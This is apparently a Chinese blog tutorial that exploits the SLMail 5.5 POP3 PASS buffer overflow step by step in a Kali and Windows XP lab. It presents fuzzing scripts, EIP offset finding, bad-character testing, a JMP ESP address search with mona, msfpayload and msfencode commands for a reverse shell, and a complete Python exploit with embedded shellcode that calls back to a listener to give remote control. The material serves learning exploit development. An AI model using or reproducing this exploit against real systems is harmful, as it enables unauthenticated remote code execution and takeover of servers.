windows下簡單的緩沖區溢出之slmail
緩沖區溢出是什麽?
當緩沖區邊界限制不嚴格時,由於變量傳入畸形數據或程序運行錯誤,導致緩沖區被“撐暴”,從而覆蓋了相鄰內存區域的數據
成功修改內存數據,可造成進程劫持,執行惡意代碼,獲取服務器控制權等後果
POP3 PASS 命令存在緩沖區溢出漏洞 無需身份驗證實現遠程代碼執
軟件下載
slmail http://slmail.software.informer.com/5.5/
mona.py https://github.com/corelan/mona
immunity debugger https://www.immunityinc.com/products/debugger/
系統環境
kali 2.0
windows XP sp3
首先默認配置安裝好軟件,吧mona.py移動至debugger目錄下的PyCommands文件夾裏
在系統服務裏打開 Seattle Lab POP3 Server
在kali中使用nc查看XP機器的110端口,回彈正確的話會有這樣
就是測試這裏會不會有緩沖區溢出
命令可以有 USER xxx 或者 PASS xxx
可以寫個python腳本來實現這個基本功能
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: print "\n[*]Sending evil buffer..." s.connect(("192.168.116.139",110)) data = s.recv(1024) print data
s.send("USER test"+"\r\n") data = s.recv(1024) print data
s.send("PASS test\r\n") data = s.recv(1024) print data
s.close() print "\n[*]Done" except: print "\n[*]Could not connect to POP3!"
我們打開 immunity debugger,file->attach->
選擇哪個監聽110端口的SLmail進程,然後attach
此時程序是被暫停的,右下角的paused可以看出,單擊在工具欄上類似播放的按鈕,啟動程序
然後構造如下腳本測試大概多少字節會溢出
#!/usr/bin/python import socket buffer=["A"] counter=100 while len(buffer) <= 50: buffer.append("A"*counter) counter+=200 for string in buffer: print "[*]Fuzzing PASS with %s bytes" % len(string) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect((‘192.168.116.139‘,110)) s.recv(1024) s.send(‘USER test‘+‘\r\n‘) s.recv(1024) s.send(‘PASS ‘ + string + ‘\r\n‘) s.send(‘QUIT‘+‘\r\n‘) s.close()
運行一下
2900發送了很久沒有結果,說明程序已經崩潰了,回到xp看一下,可以看到程序已經停止,右下角有running變成了paused
把debugger重開,pop3服務重開,然後再attach再running再測試
這時候可以手工測試一下,發個2700字節的
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) buffer = "A" * 2700 try: print "\n[*]Sending evil buffer..." s.connect(("192.168.116.139",110)) data = s.recv(1024) print data s.send("USER Xuan"+"\r\n") data = s.recv(1024) print data s.send("PASS " + buffer + "\r\n") data = s.recv(1024) print data s.close() print "\n[*]Done" except: print "\n[*]Could not connect to POP3!"
這時候程序已經崩潰,看一下xp界面
可以看到字節已經覆蓋EIP,現在要做的就是要具體到EIP是從第多少個字符開始被覆蓋的
這裏可以用kali的一個工具生成不帶重樣的字符串
cd /usr/share/metasploit-framework/tools/exploit/ ./pattern_create.rb -l 2700
會得到2700字節的不帶重樣的字符串
復制進python腳本,把第三個腳本buffer內容改成這串就行
xp那邊準備好,運行一下
可以看到EIP的數值是39694438
這裏需要註意的是在內存中地址和書寫的不太一樣,高地址放低位而低地址放高位
所以實際數值是38 44 69 39
換算成ascii碼是 8Di9
你可以在文本編輯器裏把之前的字符串復制進去然後查找這個的位置然後減一
也可以利用工具計算偏移量
cd /usr/share/metasploit-framework/tools/exploit/ ./pattern_offset.rb -q 44396944
這裏之前有2606個字符
也就是從2607個開始的覆蓋到了EIP的地址
然後寫個腳本確認一下是否正確
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) buffer = "A"*2606 + "B"*4 + "C"*20 try: print "\n[*]Sending evil buffer..." s.connect(("192.168.116.139",110)) data = s.recv(1024) s.send("USER test"+"\r\n") data = s.recv(1024) s.send("PASS "+buffer+"\r\n") print "\n[*]Done!." except: print "\n[*]Could not connect to POP3!"
運行
可以看到,本來就寫了四個B(ascii是42),剛好填充進EIP的地址,說明之前的實驗結果正確
也就是已經可以控制程序下一條執行命令的地址
然後要做的就是把想要的shellcode寫入目標地址裏,接著需要尋找可寫shellcode的空間
剛才在B之後還有C,看上圖,C被寫在了ESP
構造如下腳本測試ESP的能寫多少
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) buffer = "A"*2606 + "B"*4 + "C"*(3500-2606-4) try: print "\n[*]Sending evil buffer..." s.connect(("192.168.116.139",110)) data = s.recv(1024) s.send("USER test"+"\r\n") data = s.recv(1024) s.send("PASS "+buffer+"\r\n") print "\n[*]Done!." except: print "\n[*]Could not connect to POP3!"
3500是構造的數值,2606是A,4是B,運行
EIP依然是精準的四個B,而我們的C在ESP則一大串,在ESP地址右鍵 Follow in Dump
在左下角查看,找到B和C的交接地方
從01F7A154開始就是ESP的內容地址,一直拉到結束
01F7A2FC就是結束地址,用自帶的計算器算一下
十六進制計算結果轉為十進制,是424
shellcode一般需要300多字節,也就是說ESP這裏完全夠放下shellcode
但是在實際操作中,會有一些特別字符, 比如
null byte (0x00) 空字符,用於終止字符串的拷貝操作
return (0x0D) 回車操作,表示POP3 PASS 命令輸入完成
等等,還有程序自定義的特殊字符,我們需要測試出這些特殊字符,以免shellcode異常
而這些字符最多只有256個,也就是從00000000到11111111的全部,我們可以一一測試
構造如下腳本
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) badchars = ( "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" + "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" + "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" + "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" + "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f" + "\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" + "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f" + "\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" + "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f" + "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" + "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf" + "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" + "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf" + "\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" + "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef" + "\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" ) buffer = "A"*2606 + "B"*4 + badchars try: print "\n[*]Sending evil buffer..." s.connect(("192.168.116.139",110)) data = s.recv(1024) s.send("USER test"+"\r\n") data = s.recv(1024) s.send("PASS "+buffer+"\r\n") print "\n[*]Done!." except: print "\n[*]Could not connect to POP3!"
可以反復測試,在ESP中查看具體,缺少哪個字符,或者到哪停止,替換為別的字符沒問題,就代表那個字符有問題,有特殊含義,不能寫在shellcode
實驗中壞字符為:0x00 0x0D 0x0A
壞字符不多,寫入一個shellcode是完全可能的,現在只要把ESP的地址寫在EIP,就可以執行shellcode從而拿到shell
然而實際中,ESP的地址不固定,不能寫死ESP,這時候需要固定的地址來跳轉
比如操作系統的一些模塊,有些地址是固定的,不隨著任何東西改變,我們可以利用固定地址模塊裏的 JMP ESP命令跳轉到ESP的動態地址
這時候需要用到mona.py
底下輸入欄裏輸入 !mona modules
Rebase代表操作系統重啟後內存地址是否發生變化,true代表變化
SafeSEH,ASLR,NXCompat 都是操作系統自帶的安全保護機制,true代表是受保護的
OS Dll 代表是否是操作系統的模塊,true代表是
我們選擇前四列是false,最後一列是true的進程
比如選擇slmfc.dll,我們需要查找這個進程有沒有JMP ESP指令
因為JMP ESP是匯編指令,計算機並不識別,我們需要轉換,回到kali執行命令
因為是十六進制,我們加上\x
執行 !mona find -s "\xff\xe4" -m slmfc.dll
找到19個
如果出現下圖這樣就換個進程接著找
雙擊任意一個,在內存數據框中,右鍵->Disassemble切換為匯編語言
如圖,第一個就是我們要的地址 5F4A358F
為了測試這個地址是否可用,我們對這個地址增加一下功能
如圖選擇第一個選項設置斷點,意思是訪問到這個地址就終止
接著構造腳本測試
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) buffer="a"*2606 + "\x8F\x35\x4A\x5F" + "C"*400 try: print "[*]Sending evil buffer..." s.connect(("192.168.116.139",110)) data = s.recv(1024) print data s.send("USER Xuan"+"\r\n") data = s.recv(1024) print data s.send("PASS " + buffer + "\r\n") data = s.recv(1024) print data s.close() print "\nDone" except: print "[*]Could not connect to POP3!"
需要註意的是地址是反過來寫的,而且需要加\x
沒問題的話會這麽個結果,提示 在執行這個地址的時候內存斷點
這就代表這個地址沒問題
接下來我們生成shellcode來替換ESP的內容
為了過目標機防火墻,我們選擇生成反向shell
cd /usr/share/framework2/ ./msfpayload -l #可以生成的shellcode的種類 ./msfpayload win32_reverse LHOST=192.168.116.130 LPORT=444 C
這裏還有個問題就是之前說過的壞字符,不過我們可以利用另一個工具來替換,有時候也用來隱藏特征做免殺
./msfpayload win32_reverse LHOST=192.168.116.130 LPORT=444 R | ./msfencode -b "\x00\x0a\x0d"
會類似這樣
我們將shellcode寫入腳本中
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) shellcode=( "\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xfd\x6f\x3b" + "\x2d\x83\xeb\xfc\xe2\xf4\x01\x05\xd0\x60\x15\x96\xc4\xd2\x02\x0f" + "\xb0\x41\xd9\x4b\xb0\x68\xc1\xe4\x47\x28\x85\x6e\xd4\xa6\xb2\x77" + "\xb0\x72\xdd\x6e\xd0\x64\x76\x5b\xb0\x2c\x13\x5e\xfb\xb4\x51\xeb" + "\xfb\x59\xfa\xae\xf1\x20\xfc\xad\xd0\xd9\xc6\x3b\x1f\x05\x88\x8a" + "\xb0\x72\xd9\x6e\xd0\x4b\x76\x63\x70\xa6\xa2\x73\x3a\xc6\xfe\x43" + "\xb0\xa4\x91\x4b\x27\x4c\x3e\x5e\xe0\x49\x76\x2c\x0b\xa6\xbd\x63" + "\xb0\x5d\xe1\xc2\xb0\x6d\xf5\x31\x53\xa3\xb3\x61\xd7\x7d\x02\xb9" + "\x5d\x7e\x9b\x07\x08\x1f\x95\x18\x48\x1f\xa2\x3b\xc4\xfd\x95\xa4" + "\xd6\xd1\xc6\x3f\xc4\xfb\xa2\xe6\xde\x4b\x7c\x82\x33\x2f\xa8\x05" + "\x39\xd2\x2d\x07\xe2\x24\x08\xc2\x6c\xd2\x2b\x3c\x68\x7e\xae\x2c" + "\x68\x6e\xae\x90\xeb\x45\x3d\xc7\x4f\xaf\x9b\x07\x3a\x91\x9b\x3c" + "\xb2\xcc\x68\x07\xd7\xd4\x57\x0f\x6c\xd2\x2b\x05\x2b\x7c\xa8\x90" + "\xeb\x4b\x97\x0b\x5d\x45\x9e\x02\x51\x7d\xa4\x46\xf7\xa4\x1a\x05" + "\x7f\xa4\x1f\x5e\xfb\xde\x57\xfa\xb2\xd0\x03\x2d\x16\xd3\xbf\x43" + "\xb6\x57\xc5\xc4\x90\x86\x95\x1d\xc5\x9e\xeb\x90\x4e\x05\x02\xb9" + "\x60\x7a\xaf\x3e\x6a\x7c\x97\x6e\x6a\x7c\xa8\x3e\xc4\xfd\x95\xc2" + "\xe2\x28\x33\x3c\xc4\xfb\x97\x90\xc4\x1a\x02\xbf\x53\xca\x84\xa9" + "\x42\xd2\x88\x6b\xc4\xfb\x02\x18\xc7\xd2\x2d\x07\xcb\xa7\xf9\x30" + "\x68\xd2\x2b\x90\xeb\x2d" ) buffer="a"*2606 + "\x8F\x35\x4A\x5F" + "\x90" * 8 + shellcode try: print "[*]Sending evil buffer..." s.connect(("192.168.116.139",110)) data = s.recv(1024) print data s.send("USER Xuan"+"\r\n") data = s.recv(1024) print data s.send("PASS " + buffer + "\r\n") data = s.recv(1024) print data s.close() print "\nDone" except: print "[*]Could not connect to POP3!"
這裏加上了8個\x90,\x90在匯編是無操作的意思,為了保證shellcode的有效性,如果跳轉過來第一位就是shellcode的內容,有可能前幾位會被擦掉,純屬經驗之談
現在在xp不用開任何監聽軟件,打開slmail的服務就可以
我們在本機監聽端口444,然後運行上邊的腳本,沒問題就會反彈一個shell
而且可以反復溢出反復註入
還需要註意的一點是,如果你是新版本metasploit,那麽shellcode沒問題,如果是舊版本,它的shellcode退出方式是exitprocess,會導致程序崩潰,生成時需要加上 EXITFUNC=thread
新版本的metasploit已經沒有這個問題
這個漏洞很老,適合新手學習,整個過程需要反復的驗證可靠性,不失是一個經典溢出案例
enjoy it
博客園 - windows下簡單的緩沖區溢出
windows下簡單的緩沖區溢出之slmail